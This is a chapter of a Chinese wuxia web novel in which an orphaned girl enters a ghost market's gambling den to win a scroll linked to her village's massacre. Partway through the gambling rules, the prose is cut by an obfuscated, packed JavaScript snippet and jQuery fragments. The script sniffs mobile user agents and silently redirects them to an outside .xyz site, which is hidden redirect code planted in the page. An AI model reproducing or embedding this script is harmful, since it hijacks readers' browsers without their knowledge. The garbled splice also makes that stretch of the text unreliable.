姜朝二十三年,鬼市建成满二十年。
初冬时节,外面蒙上一层冷雾,鬼市却热闹的很。地上薄薄一层积雪。小狗的爪子啪嗒啪嗒踩在雪上,和主人留下一人一狗两排脚印。
暖黄的灯笼挂满了四周岩壁,岩壁内整齐的凿开一家家店铺。
一踏入,香气便扑面而来。
刘大婶家的包子刚出炉,香喷喷的肉馅馋的门口的大黄直摇尾巴。
隔壁的烧鸡滋滋冒着油,大黄左瞧瞧,右看看,坐在中间直流口水。对面的甜食铺子也是围满了小姑娘,甜丝丝的香气直往鼻子里钻。
“老板,来个鸡腿。”
少女从荷包中掏了两片铜叶子,少女穿着一银狐裘皮红斗篷,袖口处一圈金丝线绣的云纹,玄色长袍,腰间别了一把短刀,刀柄处刻了个歪歪扭扭的莲花。
她长发高高束起,露出一张标志的鹅蛋脸,杏眼大而明亮,鼻梁高挺,眼尾一点痣。
“哟,好俊俏的姑娘,生面孔,不常来我们鬼市吧。”老板将鸡腿仔细包好,递给少女。“来,拿好,小心烫。”
“是没来过,这鬼市和京城的夜市一样热闹,还蛮有意思的。”少女接过鸡腿,香气瞬间勾起她的馋虫,脚边的大黄爪子开始扒拉她的小腿,抬头望着她直咽口水。
老板听到这,慈爱的笑了笑:“这鬼市与京城中可大有不同啊,鬼市共三层,咱们这地上一层,卖些吃食和寻常的小玩意儿,这里地租便宜,老百姓来这赚点钱。
二层是武器库,卖些各地淘来的兵器,运气好的话,还能买到千机门的兵器或是江湖上早已失传的兵器。”
“那第三层呢?”
少女紧接着问道,她掰下来一块鸡腿肉,喂给大黄,大黄小心翼翼且十分虔诚地接过肉,眼神亮晶晶地看着少女,趴在地上吃了起来。
“第三层,我们普通人的进不去的。”老板压低声音,凑近少女耳边:“据说,里面有江湖绝密情报,能接任务赚银叶子和金叶子,还能下江湖追杀令。
第三层里面都是江湖中有头有脸的大侠,那里面的奇珍异宝,数都数不完。像我这种普通人,在一层做些小生意就满足了。”
“江湖追杀令?”
少女将这几个字在心中念了一遍,十年前那个雨夜又回荡在她的脑海,禹城数百口人,无一人生还。
她躲在地窖,血顺着木板缝隙流进来,那天雨很大,城中都是惨叫声和哭嚎声,她记不清是雨水多,还是血水更多。
想到这,冷意爬满全身,她攥紧手中的剑,努力保持平静。大黄像是察觉到了,伸出舌头舔了舔少女的手背。
“老板,这江湖追杀令如何下呢?”她紧接着问道,心里带着快要接近真相的紧张,她从禹城过来这么些时日,第一次打听到有关江湖追杀令的消息。
“我也是听别人说得,好像得用金叶子,金叶子得接鬼市悬赏的高阶任务啊,不知攒多久才能下一个江湖追杀令。一般人哪有这么多恩怨,有这么多金叶子,能换多少奇珍异宝。”
老板继续和面,他觉得少女刚来鬼市,定是对什么都好奇,而且她的年纪和自己女儿差不多。
前些日子他女儿嫁了人,他心里也想得紧,所以乐意和小姑娘多说说话:“不过小姑娘,一个人在一层转转就行了,二层都是爱舞刀弄剑的臭小子,三层的大人物更是得罪不起,而且进三层有条件,一般人还进不去呢。”
街市中间传来一阵起哄声,中间的建筑与鬼市其他整齐地店铺不同,是个用石头搭建的双层屋子,屋子外挂着几颗羊头,羊头被掏空了眼睛和嘴巴,只留下一颗空洞洞的头悬在墙外。
“大!大!大!哎呀!又输了!”
“再来,再来!”
“老板,哪是什么地方?赌坊吗?”少女被吸引了目光,她口袋空空,进二层要十枚银叶子,进三层更是要金叶子,现如今她要调查的事在三层。鬼楼的任务多得团队合作,按人数分任务奖励,若是慢慢攒,不眠不休也得攒上好几年。
“哎呀,小姑娘,内地儿若是手气好,手里的叶子翻个翻,若是手气不好,命都得押上。”老板边说边摇头,见少女跃跃欲试的样子,即刻劝阻道。
大黄吃完了肉,嘴巴叼住少女的衣角拽着她要走,少女无奈揉了揉大黄的头,和老板告辞。她给大黄套上绳子,这绳子上她用自己做衣服的布料给大黄缝了个红围脖,红围脖上绣着林大黄,她林十三的狗叫林大黄。
养母说,她是腊月十三在家门口被捡到的,就叫她林十三。也是个飘着小雪的冬日,一直要不上儿女的夫妻二人捡到了锦被包着的林十三。
赌坊门口站了个六尺高,头异常大,身子瘦小的怪人。冬日严寒,他只穿了件褂子。见着少女往里走,连忙伸手阻拦:“姑娘可有腰牌?”
说来奇怪,这人说话却不张嘴,而是大门正中挂着的羊头张了张嘴。林十三哪见过这么诡异的场景,心中一惊,攥着狗绳的手收紧,大黄瑟瑟发抖地往林十三身后躲,冲着羊头小声汪汪。
可林十三还是壮着胆子上前。
“什么是腰牌?”
“有腰牌,就压全部身家,没有腰牌进赌坊,就压命。”他语气刻意强调最后一个字,语调上扬,像是兴奋到了极点。
林十三咽了口口水,着实有些吓到了。转身欲走,赌坊内的牌桌上,一穿着粗布麻衣的胖子手中举着一个卷轴,胖子口中振振有词:“这可是本武林秘籍,我保你练了比武林盟主还厉害,称霸武林,童叟无欺。前武林盟主亲笔书写,绝对保真。”说罢,他将卷轴摊开,一枚细长的梅花印记吸引了林十三的视线,她心脏咚咚跳起来,那印记与当年屠村的那群人手腕上的印记一模一样。
当年的事情,即使是追查到细枝末节的线索,也足以让林十三兴奋。赌命的话,大不了就打出来。
赌坊内灯火通明,让沉溺其中的人分不清夜里还是早上,窗子很是神奇,只能从外面看到屋内,屋里看外面就是一片白茫茫。
果然好手段,屋里的人赌起来上瘾,连白天黑夜都分不清,瘾上来了就一直赌。林十三目标明确地盯着那胖子手中的卷轴,朝着最大的赌桌走去,却被拦住。
“小姑娘,懂不懂规矩,这醉仙桌只有赌赢了前面的才能开。”这人瞅着林十三年纪不大,心里忍不住为她可惜。
“赌赢了,就能拿走他手上的卷轴?”林十□□后一步,目光灼灼地盯着那卷轴,拿着卷轴的胖子似是察觉到了她的目光,看见她时眼神顿了一下。
“那可不止,醉仙桌每日赢家不但可以拿到珍宝,还有二十片银叶子呢。”
二十片,刚好可以够她去二层找找线索。
“这赌局怎么玩?”林十三走到一桌人身后,抓住一白衣公子问道,这公子身量高挑,虽看着有些瘦弱,面容却相当俊俏,一双狐狸眼,柳叶眉,鼻梁高,皮肤白,真是生了副美人面。
林十三自小便喜欢好看的东西,好看的锦缎,好看的武器,好看的人,连大黄都是狗群里最好看的一只。这公子的样貌,是她见过除师兄外最俊俏的,于是她便下意识挑了人群中最看得顺眼的人询问。
“三只金鼠最大,三只虎次之,三只金狼第三。其余都是小牌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16414138|184667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,数字连着的小牌好过乱序的小牌,乱序则比加起来的数。若是换牌,要挑一杯酒,四杯酒中两杯毒酒,若是喝到毒酒,就一命呜呼了。中间的圆盘是加注的,十注起加,一注便是十两银子,四个盘里分别是十注,百注,五百注和一千注,命牌可以任意放在四个盘当中,越大的注输的多赢得也多。”公子声音很是温润谦和,却又不知为何有种拒人千里之外的感觉,“姑娘这都不懂,还想拿今夜的魁奖,你筹码多少?”
“筹码?”
“腰牌上压得全部家当。姑娘该不会压得命吧,那要是输一局,可就什么都没了。”公子将此时说得轻松,手中折扇轻轻摇着,心里却在想这小姑娘和自己妹妹差不多的年纪,怕是要留在这赌坊了。
他设想中林十三惊恐的表情并没有出现,林十三在牌桌前转了一圈,像是在观察什么,又低头思索了一会儿,便坐进了牌桌。这一举动倒是引起了他的兴趣。
“哟,来了个小姑娘。”左侧是个脑满肠肥的富商,他捏着一摞金筹码,眼神上下打量林十三,是个俊俏的姑娘,心里那点恶心的想法冒了出来,“小妹妹,我看你没筹码呀,小小年纪在赌坊丢了性命多可惜,我给你出筹码保你性命,你给我做小如何。”
“谁说我要把命丢在赌坊了?我是来赢你这死肥猪家底的。”林十三说着,将手中的命牌随手一掷,不偏不倚刚好落在无人问津千注盘中,周围皆是一惊。
“命牌压千注,上一个想这样空手套白狼的人,被赌坊丢给羊头鬼吃了吧。”
“看这小姑娘,也不是会赌的样子啊,可惜了,小小年纪。”
她这一举动引得周围不少人围了上来,多数都是不看好她,也有替她觉得惋惜的。林十三心中冷哼一声,往后仰靠在椅背上,双臂环于身前,颇有几分桀骜不驯的样子。
其余几人也纷纷下注,一个带着老鼠面具的人走了过来,轻击桌面,桌面上出现十二张木牌。那人将牌用木棍分成四份,林十三竖起耳朵细听,每张牌摩擦在桌面的声音,木棍敲击在牌上的声响,很快便有了判断。
“最大注先!”戴老鼠面具的人声音尖细,语调拖得长长的,林十三毫不犹豫地拿走了第二份,其余人也快速选了牌,既有林十三命牌押最大注,只要林十三的牌不是最大的,他们都不输。
“开牌!”
林十三看着周围或讥笑,或可惜的表情,心中却踏实的很,她掀开了自己的牌,三只金狼,回想她刚刚听到的,左边拿到的应该是三张打乱的小牌,对面拿到的三张连着的小牌,右边的人应该是除了自己第二大的,两张金狼。
“有人要换牌吗?”
右侧的人紧张的手心冒汗,他在纠结要不要赌一把,他略带窃喜的眼神观察了一下牌桌上的人,特别是林十三,见她表情平淡,其余两人懊恼的皱眉,那应该就是他的牌最大,不管了,赌一把,他赌瘾上来了,掏出包里所有筹码押到了千注上。
“换牌,加注。”他心脏咚咚直跳,现在就差一步,他就可以比肩京城中的富豪了,他赌了半辈子,家底全都败了进去,人到中年一事无成,家中的田地荒了,妻子带着孩子离开了,他还整日坐在赌桌上。
催债的整日上门,他躲到了鬼市,看见赌坊便走不动路,今日这桌上刚开一把,便让她撞见了一夜暴富的美事。
想到这,他将命牌也放了进去,“老鼠面具”再次敲击桌面,四张牌出现在他手边,他紧张的手心直冒汗,手缓缓落下,心中默念:“一定要是金狼,金狼。”
林十三蹙眉,根据她刚刚听到的,那人手落的方向,正是一张金狼。